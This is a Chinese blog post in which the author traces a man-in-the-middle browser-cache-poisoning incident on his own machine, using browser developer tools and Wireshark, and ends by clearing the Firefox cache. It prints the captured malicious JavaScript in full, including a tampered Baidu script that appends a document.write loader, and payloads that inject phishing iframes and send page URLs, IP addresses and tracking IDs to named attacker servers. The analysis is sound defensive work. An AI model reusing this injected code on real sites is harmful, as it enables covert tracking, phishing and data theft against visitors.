俗话说得好,常在河边走,哪能不湿鞋?俗话又说了,出来混,早晚要还的。只是没想到自己还的这么快。就在之前的几篇关于MITM的笔记兼科普文刚发布不久,我自己就遭遇了一次中间人攻击。无奈由于技不如人,当时花了两天都没找到原因。不过吃一堑长一智,虽然丢了点个人信息,但总算明白了对方的手法。在此记录一下当时的排查过程,就当是为自己作个提醒吧。
某天晚上我忙于搭建网站的时候,在某个网站下面突然发现有个巨大的广告弹窗,上面是一张扫地机的图片。正好当时刚在淘宝上搜索过扫地机,对这种针对性广告也习以为常了,只是觉得这个弹窗有点大得诡异,不过当时正弄网站弄得头脑兴奋,于是也没在意。
然后过了一两天,在浏览网页的时候,遇见那个扫地机弹窗的频率也越来越频繁,真正引起我的警惕的是,在访问一些朋友的个人博客时,居然也有那个广告弹窗,而那个博客是肯定不会自己插入广告的。这时候我才意识到,我被黑了。由于技术水平限制,我还一时不知道是什么问题。莫非是被中毒了?由于我平时用的是Linux操作系统,所以并没在安全防护方面花费过多少心思,也许是被钻了漏洞,于是马上更新了最新版的浏览器,并且把操作系统的所有安全补丁也打上了。重启电脑之后以为肯定没问题,结果一上网就发现了那个可恶的弹窗。于是想到也许是被劫持了,查看了ARP发现网关的MAC地址和我记录的地址是一样的,然后查看DNS域名服务器:
cat /etc/resolv.conf
是上级NAT分配的域名服务器,似乎也没什么问题。于是先在浏览器上F12查看请求的详情,发现有几条奇怪的GET:
GET http://122.114.61.38/adjs/ad.js?undefined
GET http://211.149.216.27/fn_put/fishingnet2.jsp?siteID=2
GET http://122.114.61.38/fishingnet/js2log?jsurl=http://211.149.216.27/fn_put/fishingnet2.jsp?siteID=2
GET http://211.149.216.27/fn_put/put2.jsp?postfix=&siteID=2&isPC=false&accessUa=Mozilla/5.0%20(X11;%20Linux%20x86_64;%20rv:38.0)%20Gecko/20100101%20Firefox/38.0%20Iceweasel/38.3.0&accessIp=xx.xx.xx.xx&accessId=accessId_fnxxxxxxx&url=http%3A//iask.sina.com.cn/b/1mJivmlTavsb.html
前面一条返回了广告弹窗的框架,并且嵌入到我正在浏览的窗口里。如果我点击了那个广告,就进入了一个钓鱼网站,至于我怎么知道的…… 因为看第二条,它的名字就叫fishingnet。如果只是钓鱼那也算了,因为我不去咬钩就没事,可注意最后一条,居然把我的Cookie上传到攻击者的服务器上了!真是相当恶毒啊,看样子已经不能说是恶作剧了。看看第一次GET得到的ad.js:
/* 2014-06-20T16:23:49.295Z */!function(e,t){
if("undefined" == typeof location_sign)
{
location_sign = 'none';
}
var myids = new Array();
myids['jfhome'] = '0';
myids['cdair'] = '1';
myids['shtt2'] = '2';
myids['cqair'] = '3';
myids['xjair'] = '4';
myids['dlair'] = '5';
myids['qdair'] = '6';
myids['bjcn'] = '7';
var siteid = '-1';
if(myids.hasOwnProperty(location_sign))
{
siteid = myids[location_sign];
}
if(location_sign=='jfhome')
{
var js = document.createElement('script');
jsurl = "http://211.149.216.27:8080/fn_put/fishingnet2.jsp?siteID="+siteid;
js.setAttribute('src',jsurl);
document.body.appendChild(js);
}
else
{
var js = document.createElement('script');
jsurl = "http://211.149.216.27/fn_put/fishingnet2.jsp?siteID="+siteid;
js.setAttribute('src',jsurl);
document.body.appendChild(js);
var js1 = document.createElement('script');
var mylog = "http://122.114.61.38/fishingnet/js2log?jsurl="+jsurl;
js1.setAttribute('src',mylog);
document.body.appendChild(js1);
}
}(window,document);
第二条GET请求直接返回一个js函数:
function isPC() {
var flag = false;
var userAgentInfo = 'curl/7.26.0';
var Agents = ["Windows NT", "Macintosh"];
for (var v = 0; v < Agents.length; v++) {
if (userAgentInfo.indexOf(Agents[v]) > 0) {
flag = true;
break;
}
}
return flag;
}
var putting1 = function(){
var accessId = '';
if(window.localStorage){
if(typeof(localStorage.accessId_fn) == "undefined")
{
localStorage.accessId_fn = "accessId_fn"+new Date().getTime();
}
accessId = localStorage.accessId_fn;
}
var url = window.location.href;
var accessIp = '116.236.107.222';
var accessUa = 'curl/7.26.0';
if(top.location == location)
{
var ajax_fn = 'http://211.149.216.27/fn_put/put2.jsp?postfix=&siteID=2&isPC='+isPC()+'&accessUa='+accessUa+'&accessIp='+accessIp+'&accessId='+accessId+'&url='+escape(url);
var script = document.createElement("script");
script.src = ajax_fn;
document.body.appendChild(script);
}
}
if (typeof(isload_fn) == "undefined" || isload_fn==false) {
var isload_fn = true;
putting1();
}
第三次GET没有返回,估计只是给服务器端的jsp传参,最后就是以同样的形式把我的浏览信息按照ajax_fn
的格式送给服务器了,很恶毒对不对?但这只是结果,从一开始请求ad.js之后,一切就脱离正轨了,我们需要找到原因,就必须再往上,开启wireshark抓包,设置过滤条件为:
http&&(ip.addr==122.114.61.38 || ip.addr==211.149.216.27)
看看结果:
wireshark-fishing
baidu_c.js是什么玩意,下载来看看:
/*! Copyright 2015 Baidu Inc. All Rights Reserved. */
; (function() {
var l = void 0,
m = !0,
o = null,
s = !1;
function v(e) {
return function() {
return e
}
}
var E = {
t1: +new Date,
t2: 0,
t3: 0,
t4: 0
},
I = ["search!"],
aa = 3,
ma = "BAIDU_DUP2_replacement",
na = "http://dup.baidustatic.com/painter/",
... //省略四千行
})();
var myDate = new Date();
var tt = myDate.getFullYear() +"_"+ myDate.getMonth() +"_"+ myDate.getDate();
document.write("<scr"+"ipt id = 'myscript' src='http://122.114.61.38/fishingnet/shtt2/baidu_h.js?"+tt+"'></scr"+"ipt>");
是个四千行左右的js脚本,开头有baidu的版权,注意最后三行,似乎是额外添加的。也就是说我本该请求一个真正的baidu_c.js
,却被攻击者调包了。 调包之后的js直接用document.write给我添加了点内容,恩,baidu_h.js,下载看看:
var myads = document.getElementsByName("my_adsense_kk");
var ad_loc = "shtt2";
var ad_src = "baidu_c";
if(myads)
{
//console.log(myads);
//alert(myads.length);
//for(myaddiv in myads)
//console.log(myads.length);
for(var i = 0, l = myads.length; i < l; i++)
{
//alert(myadframe.item);
//console.log("mylog");
//console.log(myads[i].id);
var content="";
murl=encodeURIComponent(window.location.href.toLowerCase());
if(!myads[i].hasChildNodes())
{
iframe = document.createElement("iframe");
iframe.setAttribute("id", "gad-iframe");
iframe.style.align = "center";
if(myads[i].id.match(/300_250/i) == "300_250")
{
iframe.src="http://122.114.61.38/fishingnet/ad.html?ad_width=300&ad_height=250&ad_src=baidu_c&ad_loc="+ad_loc+"&ad_from="+murl;
iframe.style.width = "300px";
iframe.style.height = "250px";
content="add";
}
if(myads[i].id.match(/728_90/i) == "728_90")
{
iframe.src="http://122.114.61.38/fishingnet/ad.html?ad_width=728&ad_height=90&ad_src=baidu_c&ad_loc="+ad_loc+"&ad_from="+murl;
iframe.style.width = "728px";
iframe.style.height = "90px";
content="add";
}
if(myads[i].id.match(/336_280/i) == "336_280")
{
iframe.src="http://122.114.61.38/fishingnet/ad.html?ad_width=336&ad_height=280&ad_src=baidu_c&ad_loc="+ad_loc+"&ad_from="+murl;
iframe.style.width = "336px";
iframe.style.height = "280px";
content="add";
}
if(myads[i].id.match(/960_90/i) == "960_90")
{
iframe.src="http://122.114.61.38/fishingnet/ad.html?ad_width=960&ad_height=90&ad_src=baidu_c&ad_loc="+ad_loc+"&ad_from="+murl;
iframe.style.width = "960px";
iframe.style.height = "90px";
content="add";
}
if(myads[i].id.match(/1000_90/i) == "1000_90")
{
iframe.src="http://122.114.61.38/fishingnet/ad.html?ad_width=1000&ad_height=90&ad_src=baidu_c&ad_loc="+ad_loc+"&ad_from="+murl;
iframe.style.width = "1000px";
iframe.style.height = "90px";
content="add";
}
if(myads[i].id.match(/200_200/i) == "200_200")
{
iframe.src="http://122.114.61.38/fishingnet/ad.html?ad_width=200&ad_height=200&ad_src=baidu_c&ad_loc="+ad_loc+"&ad_from="+murl;
iframe.style.width = "200px";
iframe.style.height = "2000px";
content="add";
}
if(myads[i].id.match(/250_250/i) == "250_250")
{
iframe.src="http://122.114.61.38/fishingnet/ad.html?ad_width=250&ad_height=250&ad_src=baidu_c&ad_loc="+ad_loc+"&ad_from="+murl;
iframe.style.width = "250px";
iframe.style.height = "250px";
content="add";
}
if(myads[i].id.match(/250_120/i) == "250_120")
{
iframe.src="http://122.114.61.38/fishingnet/ad.html?ad_width=250&ad_height=120&ad_src=baidu_c&ad_loc="+ad_loc+"&ad_from="+murl;
iframe.style.width = "250px";
iframe.style.height = "120px";
content="add";
}
if(content)
{
myads[i].appendChild(iframe);
}
}
}
}
在这里给我加了个ad.html的frame子标签,至此从ad.html搞的手脚就全部应用到我的页面上了,在wireshark找到上传cookie的地方,右键Follow TCP Stream:
follow-fishing-stream
果然请求都是从ad.html发出的。
至此为止,攻击过程是清楚了,但是源头还是没解决。一开始访问网站的时候,为什么请求了一个假的baidu_c.h
呢?经过查找类似病例,发现很有可能是被js缓存投毒了,其基本原理是利用一些网站的个别缓存js很久不更新且缓存时间很长的事实,对其进行污染修改。致受害者在浏览网站的时候与执行攻击者插入的内容。因此把.mozilla
目录下的cache全部清空,再打开浏览器上网,世界终于清净了。关于缓存投毒可以参考Browser-Cache-Poisoning.pdf
这次中招突如其来,如果不是弹窗太突兀,整个中间人攻击的过程还是相当隐秘的,其背后还好是个以钓鱼为目的的黑产链,若是单纯的监控或者做小手脚,一般人根本无法察觉,真是细思恐极。而且这种攻击是基于缓存的行为,杀毒软件是无法检测到的。网络世界像黑暗森林一样野蛮无情,掌握点基本技能保护自己还是很必要的。